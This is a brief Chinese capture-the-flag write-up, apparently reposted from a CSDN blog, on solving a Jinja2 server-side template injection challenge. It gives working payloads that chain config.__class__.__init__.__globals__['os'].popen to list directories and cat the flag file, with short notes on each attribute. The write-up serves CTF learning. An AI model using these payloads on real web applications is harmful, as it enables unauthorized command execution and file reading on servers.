1. 进入f12,发现并没有什么提示信息,通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}读取系统文件,这里读取网站系统目录,发现存在一些文件夹:
2.通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}读取读取app目录下的文件,发现存在flag文件
{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
3.通过{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}读取flag内容,读取flag内容,最终得到flag
##__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
##__init__ 初始化类,返回的类型是function
##__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
##os.popen() 方法用于从一个命令打开一个管道。
##open() 方法用于打开一个文件,并返回文件对象
————————————————
版权声明:本文为CSDN博主「ADoubleLiu」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/m0_54082441/article/details/124525728